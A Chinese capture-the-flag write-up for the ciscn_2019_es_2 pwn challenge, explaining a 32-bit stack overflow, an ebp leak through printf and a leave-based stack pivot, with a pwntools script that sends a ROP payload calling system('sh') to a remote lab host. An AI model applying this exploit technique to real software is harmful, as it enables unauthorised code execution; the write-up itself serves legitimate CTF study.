解题思路

反编译

undefined4 main(void)
{EVP_PKEY_CTX *in_stack_fffffff0;init(in_stack_fffffff0);puts("Welcome, my friend. What\'s your name?");vul();return 0;
}void vul(void)
{undefined local_2c [40];memset(local_2c,0,0x20);read(0,local_2c,0x30);printf("Hello, %s\n",local_2c);read(0,local_2c,0x30);printf("Hello, %s\n",local_2c);return;
}void hack(void)
{system("echo flag");return;
}

从反编译结果来看,漏洞还是很清晰的,vul中的read函数提供了溢出点,hack函数提供了system函数调用。

难点&思路

首先是溢出点,从局部变量大小和读取长度限制来看,可以溢出,但是长度不长,经过测试,溢出点在第44字节处,也就是说,只能设置一个4字节返回地址。

undefined local_2c [40];
read(0,local_2c,0x30);

再就是hack函数,system的参数需要构造,但是从上面一条可以看出,普通的溢出没法构造更多的参数。
所以,难点就是如何扩展溢出长度?
从汇编和反编译代码来看,没有有效途径,但是有一个疑点:返回地址前面是ebp地址,如果溢出只能覆盖到返回地址,那么另外一个能影响的就是ebp,是否可以通过控制ebp来控制下次的执行?
经过反复调试发现,返回地址为leave会将栈址降低,跳到局部变量范围,那就可以通过read函数输入需要的参数信息。
然后,剩下最后一个问题,ebp的地址如何设置?
vul的两次read和printf很值得分析,从前面分析得知,read长度限制只比局部变量多8个字节,这8个字节就是ebp以及函数返回地址,而printf以字符串格式打印,那将局部变量全部填充为非0字节,就能打印出后面8个字节的内容。(如果8个字节中有0x00,那确实也会存在阶段的问题),还好,经过测试,该方法有效。

解题脚本

from pwn import *context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
#sh = process('./ciscn_2019_es_2')
sh = remote('node4.buuoj.cn',28365)
vuln_addr = 0x08048625
system_plt = 0x08048400
vuln_leave_addr = 0x080485fdsh.recvline()
pad = '0'*39
sh.sendline(pad.encode())
text = sh.recvline()
text += sh.recvline()
addr_s = text[47:51]
ebp_addr = int.from_bytes(addr_s, 'little')
print("addr:%#x" % ebp_addr)#ebp_addr = 0xffffd2c8
#exp = 'sh'.encode() + p8(0) + p8(0) + p32(0) + p32(0) + p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38) + p32(0)
exp = p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38 + 12) + 'sh'.encode() + p16(0)
payload = exp + ('2'*24).encode() + p32(ebp_addr - 0x3c) +  p32(vuln_leave_addr)
sh.send(payload)
sh.recvline()with open('payload.txt', 'wb') as f:f.write(('0'*47).encode() + '\n'.encode())f.write(payload)sh.interactive()

总结

跟之前一样,这个思路其实也是比较快就想到了,但是卡在如何利用ebp来跳转上,费了很多时间,没想到leave还会降低栈址, 其中的ebp_addr-0x3c经过实验得出;另外就是在做本题时,在本机实验时,system不会wait,导致排查费了较多时间,谁知上靶机刚刚滴,没有任何问题,欲哭无泪。。。

【CTF】ciscn_2019_es_2相关推荐

  1. 【ctf】ret2text

    PWN ret2text 题目链接:ret2text 参考博客:CTF Wiki 基本 ROP 参考视频:[CTF]Linux PWN入门 Bamboofox社课系列 0x01 下载ret2text文 ...

  2. 【CTF】实验吧 困在栅栏里的凯撒

    题目先提到栅栏,再提到凯撒,按照顺序先栅栏解码,再凯撒解码. 一般密码的开头不是flag就是key或者ctf 所以选择"6栏",在进行凯撒解码 在所有组合中,发现CTF即为flag

  3. 【CTF】实验吧 古典密码

    一共是35个字符分成5*7或者7*5 最终选择5行7列 首先变动第一行的位置,然后根据第一行变动的位置,依次变动下面的行 OCU{CFT ELXOUYD ECTNGAH OHRNFIE NM}IOTA ...

  4. 【CTF】实验吧 围在栅栏中的爱

    对摩斯密码进行解码:kiqlwtfcqgnsoo QWE是键盘上的前三个,ABC是26个字母的前三个.所以,二者有这样的对应关系. #include <stdio.h> #include ...

  5. 【CTF】实验吧 奇怪的短信

    和实验吧 The Flash-14有些类似,总共的数字数目是偶数,所以两两分开,题干中的"短信"是提示,观察两两分组的第二个数字没有超过四的,可以想到手机上的九键 例如第一组数:3 ...

  6. 【CTF】实验吧 The Flash-14

    标题的提示是:闪电侠的第十四集用到的加密方式(看来写CTF题要无所不知,不然咋能想到是一部剧) 根据两两一组将数据分类 54  43  32  52  22  44  55  34  22  51  ...

  7. 【CTF】实验吧 传统知识+古典密码

    对照顺序写下: 根据对应的干支得到 28 30 23 8 17 10 16 30   +甲子 所有的数加60 得到 88 90 83 68 77 70 76 90 找到ASCII码对照表可得到XZSD ...

  8. 【CTF】记录一次CTF比赛的Writeup(附题目下载地址)

    0x00 前言 最近因为省赛快来了,因此为实验室的小伙伴准备了这次比赛,总共10道题目,考虑到大多数小伙伴都刚从大一升到大二,因此整体难度不高,当然有几道难度还是有的. 题目大多数都是从网上东找西找的 ...

  9. 【CTF】CTFHub------历年真题-暴力破解/word文件本质/图片修复/数据包分析一/滴答滴答/栅栏解救/磁盘恢复

    文章目录 历年真题 暴力破解 word文件本质 图片修复 好孩子看不见 数据包分析一 滴答滴答 栅栏解救 磁盘恢复 相关知识 CTF中常见的文件头和文件尾 历年真题 暴力破解 1.下载题目附件,发现加 ...

最新文章

  1. 为什么要引入模式概念来设计软件
  2. 安卓手机怎么查看iccid_安卓便签敬业签怎么查看日历月视图中一天所有的新增内容?...
  3. c语言定义可变长度的数组,有没有办法在c中创建一个可变长度数组全局?
  4. Cpp 对象模型探索 / 虚函数的调用方式
  5. windows连接投影仪后桌面画面和白板画面不一致
  6. python 头条 上传_Python+selenium自动化之文件上传
  7. 小技巧来助阵 玩转Google Chrome(谷歌浏览器)
  8. Segnet的caffe训练环境搭建
  9. (转)Django ==== 实战学习篇九 在session中保存购物车
  10. Spark Yarn Client模式spark.driver.host导致 Cannot assign requested address: Service ‘sparkDriver‘ failed
  11. 前端接收pdf文件_原生ajax请求获取pdf文件流本地下载(支持谷歌IE)
  12. 15.2. 网络监控
  13. 在ASP.NET Atlas中调用Web Service——介绍及简单应用
  14. C#调用新浪微博API生成RSS资源文件
  15. Win10,Win11家庭版开启远程桌面接入功能-有详细操作截屏
  16. 南阳oj STL分类练习
  17. 做一个视频通话给自己用吧
  18. Hugging Face 的 Transformers 库快速入门 (一)开箱即用的 pipelines
  19. 无法访问计算机0x80070035,出现错误代码0x80070035,无法访问共享文件夹,解决方法...
  20. R语言 sub()用法

热门文章

  1. 都在说软件测试真的干不到35岁,那咋办呢...我都36了...
  2. Win7进入mysql环境命令_怎样在win7中使用命令行启动mysql数据库服务
  3. windows大小写,切换键修改lock or shift
  4. 我谈阶梯博弈( Staircase Nim )
  5. 重极限 连续 偏导数 全微分
  6. KNIME Python Integration安装配置指南
  7. 浅谈PCA到PCANet
  8. vscode找不到执行文件导致更新失败
  9. [含lw+源码等]微信小程序点餐|外卖|餐饮系统+后台管理系统[包运行成功]
  10. gif一键抠图 在线_手机一键抠图去背景||电脑抽奖软件